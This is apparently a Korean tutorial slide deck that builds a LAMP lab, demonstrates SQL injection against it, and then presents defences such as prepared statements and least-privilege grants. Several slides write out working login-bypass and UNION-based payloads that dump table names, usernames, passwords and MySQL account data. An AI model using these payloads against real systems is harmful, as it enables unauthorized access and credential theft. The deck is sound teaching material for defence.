SQL Injection 공격 구현
이민정
SQLInjection공격구현
01 웹서버(APM) 구축
02 SQL Injection 공격
03 공격 대응법
시작하기전에….
이 글은 Mr.Rootable님의 SQL Injection기초 글에서 Union Based방식 부분을 참고하였습니다.
http://mrrootable.tistory.com/25  여기 링크주소
01
웹 서버(APM) 구축
운영체제 CentOS7
Apache버전 2.4.6
PHP버전 5.4.16
Mysql버전 5.7
구현스펙
MySQL 설치
$ yum –y install http://dev.mysql.com/get/mysql-community-release-el7-5.noarch.rpm
$ yum –y install mysql-community-server
MySQL 데몬 프로그램 가동
$ systemctl enable mysqld
$ systemctl start mysqld
웹서버 구축
MySQL
mysql 접속
$ mysql
인코딩 방식 확인
mysql> status
웹서버 구축
MySQL–인코딩설정
mysql 설정파일 열기
$ vi /etc/my.cnf
웹서버 구축
MySQL–인코딩설정
웹서버 구축
MySQL–인코딩설정
mysql 데몬 재시작
$ systemctl restart mysqld
mysql 접속 후 인코딩 확인
$ mysql
mysql> status
웹서버 구축
MySQL–인코딩설정
admin 비밀번호 재설정
$ mysqladmin –u root –p password
root로 mysql 접속
$ mysql –u root –p
사용자 추가
mysql> create user ‘user’@’%’ identified by ‘12345’;
사용자 권한 부여
mysql> grant all on *.* to ‘user’@’%’ with grant option;
웹서버 구축
MySQL–사용자설정
사용자 설정 확인(mysql 접속후 명령어 실행)
mysql> show databases;
mysql> use mysql;
mysql> select user, host from user;
웹서버 구축
MySQL–사용자설정
php 설치
$ yum –y install php php-mysql php-mbstring php-pdo php-gd
apache 설치
$ yum –y install httpd
$ systemctl enable httpd
웹서버 구축
Apache,PHP설치
Apache 설정
$ vi /etc/httpd/conf/httpd.conf
Apache 재시작
$ systemctl restart httpd
웹서버 구축
Apache,PHP설치
Apache 방화벽 열어놓기
$ firewall-cmd --add-service=http --permanent
$ firewall-cmd --add-service=https --permanent
$ systemctl restart firewalld
$ systemctl restart httpd
웹서버 구축
방화벽설정
02
SQL Injection 공격
SQL Injection
인증우회공격
인증 우회 공격
- 로그인 페이지를 타겟으로 함
- SQL 쿼리문이 무조건 TRUE값이 나오게 입력하여 인증을 무력화시키는 공격
공격 쿼리 패턴
- ‘ OR 1=1 --
- ‘ OR 1=1 #
쿼리 조건이 TRUE가 되게 하는 값
주석처리 (ORACLE은 -- MySQL은 #)
인증 우회공격을 테스트 할 샘플 데이터 생성
$ mysql –u root -p
mysql> create database sample;
mysql> use sample;
mysql> create table users ( username varchar(10), password varchar(20));
mysql> insert into users values(‘humanist’,’toor’);
mysql> insert into users values(‘smile’,’toor’);
SQL Injection
인증우회공격
SQL Injection
인증우회공격
공격 타겟용 웹페이지 - index.php
Union based 공격
- 타겟 시스템의 데이터를 가져오는 데이터 노출 공격
- GET방식으로 HTTP 요청할 때 URL파라미터로 공격쿼리를 주입
- 두개의 select문의 결과를 합치는 union 구문을 이용
공격 쿼리 패턴
- ?params=-9999+union+select문#
- ?params=1+and+1=0+union+select문#
서버 측 쿼리조건이 FALSE가 되게 하는 값
공격자가 얻어낼 정보를 가져오는 SELECT문
SQL Injection
Union-basedInjection
공격에 필요한 테이블과 데이터를 자동 생성 – dumpdata.php
SQL Injection
Union-basedInjection
파라미터가 없으면 전체 데이터를 가져오고
파라미터가 있다면 해당 bno값의 데이터 가져옴
화면에는 일부 데이터만 출력하도록 함
SQL Injection
Union-basedInjection
GET방식 요청을 받을수있는 웹페이지 생성– board.php
전체 데이터 출력
테이블에 해당 데이터가 있을경우
테이블에 해당 데이터가 없을경우
SQL Injection
Union-basedInjection
board.php 동작 화면
쿼리문의 컬럼 수 알아내기
- Union을 사용하려면 합치려는 두 SELECT문의 컬럼수가 일치해야함
- order by 구문으로 서버측 SELECT문의 컬럼 수를 알아낼 수 있음
order by 뒤에 컬럼수 이하의 값을 넣을때
 정상출력
order by 뒤에 컬럼수 초과한 값을 넣을때
에러 발생
SQL Injection
Union-basedInjection
화면에 출력되는 컬럼 알아내기
- Union 구문을 이용하여 컬럼수만큼 SELECT문으로 출력하도록 함
- 여기서 얻은 컬럼 번호로 공격자가 원하는 정보를 출력 할수 있음
 SELECT문의 2번째, 4번째 컬럼이 화면에 출력됨
SQL Injection
Union-basedInjection
- database() 함수는 현재 테이블이 있는 데이터베이스명을 출력
현재 테이블이 있는 데이터베이스 이름이 sample인것을 알수있음
SQL Injection
Union-basedInjection
테이블 정보 알아내기
- mysql은 information_schema라는 데이터베이스에 모든 DB와 테이블정보를 저장
- ?bno=-99 union select 1,table_name,3,4 from information_schema.tables where
table_schema=‘sample’#
 sample 데이터베이스의 모든 테이블 정보 출력
SQL Injection
Union-basedInjection
특정 테이블의 컬럼 정보 얻어내기
- 이것 또한 information_schema를 이용하여 select문을 구성
- ?bno=-99 union select 1,column_name,3,table_schema from
information_schema.columns where table_name=‘users’#
SQL Injection
Union-basedInjection
공격자가 원하는 테이블의 정보 노출
- 얻어낸 컬럼명을 이용하여 users 테이블에 있는 정보 가져오기
- ?bno=-99 union select 1,username,3,password from users#
SQL Injection
Union-basedInjection
더 나아가서…
- Mysql의 사용자 정보는 mysql이라는 데이터베이스에 저장됨
- ?bno=-99 union select 1,user,3,host from mysql.user#
 이 사용자를 타겟으로 Brute-force, dictionary 등
2차 공격을 시도 할수 있음
SQL Injection
Union-basedInjection
03
공격 대응책
공격 대응책
방법1.Regex를이용한입력값검사
보통 사용자의 아이디와 패스워드에 사용되는 문자는 제한되어있음
- id의 경우 숫자,영문자,_(언더바)로 구성
- 이메일의 경우 숫자,영문자,_(언더바)@영소문자.영소문자 형식으로 구성
Regex(정규표현식)는 특정한 규칙을 가진 문자열을 표현하는 형식
 사용자가 입력한 값이 형식에 맞는지 검사
ex) id를 표현하는 regex구문  “/[a-z][0-9a-zA-Z]{3,20}$/”
ex) 이메일을 표현하는 regex구문  “/([a-z][0-9a-zA-Z]{3,20})+@([0-9a-zA-Z][0-9a-zA-Z-]+.)+
[a-zA-Z]{2,6}$/i”
프론트엔드에서 인증우회 공격을 미리 막을 수 있음
사용자 아이디가 올바른 형식인지 검사
공격 대응책
방법1.Regex를이용한입력값검사
구현 코드 – sindex1.php
- SQL문을 미리 컴파일하여 수행
- 파라미터로 입력받게 되는 부분(바인딩데이터)는 SQL문법이 아닌 컴파일언어로 처리
 즉 사용자 입력값에 SQL 공격쿼리를 넣어도 동작하지 않음
- 인증우회 공격, GET요청을 이용한 데이터노출 공격을 막을수 있음
공격 대응책
방법2.PreparedStatement
구현 코드 – sindex2.php
공격 대응책
방법2.PreparedStatement
구현 코드 – sboard.php
공격 대응책
방법2.PreparedStatement
grant all privileges on *.* to ‘user’@’%’ with grant option;
- 사용자에게 DB,테이블에 대한 모든 접근권한을 주는 것은 매우 위험
- 데이터노출 공격시 2차,3차 피해를 유발할 수 있음
 DB커낵션에 사용하는 데이터베이스 유저 권한을 엄격하게 설정
revoke all privileges on *.* from ‘user’@’%’;
- 접근권한 재설정을 위해 모든 권한을 삭제
grant select on sample.boardtbl to ‘user’@’%’;
- boardtbl에 대한 검색 권한만 부여
공격 대응책
방법3.접근권한설정
참고자료
SQL Injection 공격구현 참고 http://mrrootable.tistory.com/25
PPT템플릿 http://ponybuhagom.tistory.com/193
잘못된 부분 있으면 apenr1234@gmail.com 여기로 메일 부탁

Sqlinjection - union based

  • 1.
    SQL Injection 공격구현 이민정
  • 2.
    SQLInjection공격구현 01 웹서버(APM) 구축 02SQL Injection 공격 03 공격 대응법
  • 3.
    시작하기전에…. 이 글은 Mr.Rootable님의SQL Injection기초 글에서 Union Based방식 부분을 참고하였습니다. http://mrrootable.tistory.com/25  여기 링크주소
  • 4.
  • 5.
    운영체제 CentOS7 Apache버전 2.4.6 PHP버전5.4.16 Mysql버전 5.7 구현스펙
  • 6.
    MySQL 설치 $ yum–y install http://dev.mysql.com/get/mysql-community-release-el7-5.noarch.rpm $ yum –y install mysql-community-server MySQL 데몬 프로그램 가동 $ systemctl enable mysqld $ systemctl start mysqld 웹서버 구축 MySQL
  • 7.
    mysql 접속 $ mysql 인코딩방식 확인 mysql> status 웹서버 구축 MySQL–인코딩설정
  • 8.
    mysql 설정파일 열기 $vi /etc/my.cnf 웹서버 구축 MySQL–인코딩설정
  • 9.
  • 10.
    mysql 데몬 재시작 $systemctl restart mysqld mysql 접속 후 인코딩 확인 $ mysql mysql> status 웹서버 구축 MySQL–인코딩설정
  • 11.
    admin 비밀번호 재설정 $mysqladmin –u root –p password root로 mysql 접속 $ mysql –u root –p 사용자 추가 mysql> create user ‘user’@’%’ identified by ‘12345’; 사용자 권한 부여 mysql> grant all on *.* to ‘user’@’%’ with grant option; 웹서버 구축 MySQL–사용자설정
  • 12.
    사용자 설정 확인(mysql접속후 명령어 실행) mysql> show databases; mysql> use mysql; mysql> select user, host from user; 웹서버 구축 MySQL–사용자설정
  • 13.
    php 설치 $ yum–y install php php-mysql php-mbstring php-pdo php-gd apache 설치 $ yum –y install httpd $ systemctl enable httpd 웹서버 구축 Apache,PHP설치
  • 14.
    Apache 설정 $ vi/etc/httpd/conf/httpd.conf Apache 재시작 $ systemctl restart httpd 웹서버 구축 Apache,PHP설치
  • 15.
    Apache 방화벽 열어놓기 $firewall-cmd --add-service=http --permanent $ firewall-cmd --add-service=https --permanent $ systemctl restart firewalld $ systemctl restart httpd 웹서버 구축 방화벽설정
  • 16.
  • 17.
    SQL Injection 인증우회공격 인증 우회공격 - 로그인 페이지를 타겟으로 함 - SQL 쿼리문이 무조건 TRUE값이 나오게 입력하여 인증을 무력화시키는 공격 공격 쿼리 패턴 - ‘ OR 1=1 -- - ‘ OR 1=1 # 쿼리 조건이 TRUE가 되게 하는 값 주석처리 (ORACLE은 -- MySQL은 #)
  • 18.
    인증 우회공격을 테스트할 샘플 데이터 생성 $ mysql –u root -p mysql> create database sample; mysql> use sample; mysql> create table users ( username varchar(10), password varchar(20)); mysql> insert into users values(‘humanist’,’toor’); mysql> insert into users values(‘smile’,’toor’); SQL Injection 인증우회공격
  • 19.
  • 20.
    Union based 공격 -타겟 시스템의 데이터를 가져오는 데이터 노출 공격 - GET방식으로 HTTP 요청할 때 URL파라미터로 공격쿼리를 주입 - 두개의 select문의 결과를 합치는 union 구문을 이용 공격 쿼리 패턴 - ?params=-9999+union+select문# - ?params=1+and+1=0+union+select문# 서버 측 쿼리조건이 FALSE가 되게 하는 값 공격자가 얻어낼 정보를 가져오는 SELECT문 SQL Injection Union-basedInjection
  • 21.
    공격에 필요한 테이블과데이터를 자동 생성 – dumpdata.php SQL Injection Union-basedInjection
  • 22.
    파라미터가 없으면 전체데이터를 가져오고 파라미터가 있다면 해당 bno값의 데이터 가져옴 화면에는 일부 데이터만 출력하도록 함 SQL Injection Union-basedInjection GET방식 요청을 받을수있는 웹페이지 생성– board.php
  • 23.
    전체 데이터 출력 테이블에해당 데이터가 있을경우 테이블에 해당 데이터가 없을경우 SQL Injection Union-basedInjection board.php 동작 화면
  • 24.
    쿼리문의 컬럼 수알아내기 - Union을 사용하려면 합치려는 두 SELECT문의 컬럼수가 일치해야함 - order by 구문으로 서버측 SELECT문의 컬럼 수를 알아낼 수 있음 order by 뒤에 컬럼수 이하의 값을 넣을때  정상출력 order by 뒤에 컬럼수 초과한 값을 넣을때 에러 발생 SQL Injection Union-basedInjection
  • 25.
    화면에 출력되는 컬럼알아내기 - Union 구문을 이용하여 컬럼수만큼 SELECT문으로 출력하도록 함 - 여기서 얻은 컬럼 번호로 공격자가 원하는 정보를 출력 할수 있음  SELECT문의 2번째, 4번째 컬럼이 화면에 출력됨 SQL Injection Union-basedInjection
  • 26.
    - database() 함수는현재 테이블이 있는 데이터베이스명을 출력 현재 테이블이 있는 데이터베이스 이름이 sample인것을 알수있음 SQL Injection Union-basedInjection
  • 27.
    테이블 정보 알아내기 -mysql은 information_schema라는 데이터베이스에 모든 DB와 테이블정보를 저장 - ?bno=-99 union select 1,table_name,3,4 from information_schema.tables where table_schema=‘sample’#  sample 데이터베이스의 모든 테이블 정보 출력 SQL Injection Union-basedInjection
  • 28.
    특정 테이블의 컬럼정보 얻어내기 - 이것 또한 information_schema를 이용하여 select문을 구성 - ?bno=-99 union select 1,column_name,3,table_schema from information_schema.columns where table_name=‘users’# SQL Injection Union-basedInjection
  • 29.
    공격자가 원하는 테이블의정보 노출 - 얻어낸 컬럼명을 이용하여 users 테이블에 있는 정보 가져오기 - ?bno=-99 union select 1,username,3,password from users# SQL Injection Union-basedInjection
  • 30.
    더 나아가서… - Mysql의사용자 정보는 mysql이라는 데이터베이스에 저장됨 - ?bno=-99 union select 1,user,3,host from mysql.user#  이 사용자를 타겟으로 Brute-force, dictionary 등 2차 공격을 시도 할수 있음 SQL Injection Union-basedInjection
  • 31.
  • 32.
    공격 대응책 방법1.Regex를이용한입력값검사 보통 사용자의아이디와 패스워드에 사용되는 문자는 제한되어있음 - id의 경우 숫자,영문자,_(언더바)로 구성 - 이메일의 경우 숫자,영문자,_(언더바)@영소문자.영소문자 형식으로 구성 Regex(정규표현식)는 특정한 규칙을 가진 문자열을 표현하는 형식  사용자가 입력한 값이 형식에 맞는지 검사 ex) id를 표현하는 regex구문  “/[a-z][0-9a-zA-Z]{3,20}$/” ex) 이메일을 표현하는 regex구문  “/([a-z][0-9a-zA-Z]{3,20})+@([0-9a-zA-Z][0-9a-zA-Z-]+.)+ [a-zA-Z]{2,6}$/i” 프론트엔드에서 인증우회 공격을 미리 막을 수 있음
  • 33.
    사용자 아이디가 올바른형식인지 검사 공격 대응책 방법1.Regex를이용한입력값검사 구현 코드 – sindex1.php
  • 34.
    - SQL문을 미리컴파일하여 수행 - 파라미터로 입력받게 되는 부분(바인딩데이터)는 SQL문법이 아닌 컴파일언어로 처리  즉 사용자 입력값에 SQL 공격쿼리를 넣어도 동작하지 않음 - 인증우회 공격, GET요청을 이용한 데이터노출 공격을 막을수 있음 공격 대응책 방법2.PreparedStatement
  • 35.
    구현 코드 –sindex2.php 공격 대응책 방법2.PreparedStatement
  • 36.
    구현 코드 –sboard.php 공격 대응책 방법2.PreparedStatement
  • 37.
    grant all privilegeson *.* to ‘user’@’%’ with grant option; - 사용자에게 DB,테이블에 대한 모든 접근권한을 주는 것은 매우 위험 - 데이터노출 공격시 2차,3차 피해를 유발할 수 있음  DB커낵션에 사용하는 데이터베이스 유저 권한을 엄격하게 설정 revoke all privileges on *.* from ‘user’@’%’; - 접근권한 재설정을 위해 모든 권한을 삭제 grant select on sample.boardtbl to ‘user’@’%’; - boardtbl에 대한 검색 권한만 부여 공격 대응책 방법3.접근권한설정
  • 38.
    참고자료 SQL Injection 공격구현참고 http://mrrootable.tistory.com/25 PPT템플릿 http://ponybuhagom.tistory.com/193 잘못된 부분 있으면 apenr1234@gmail.com 여기로 메일 부탁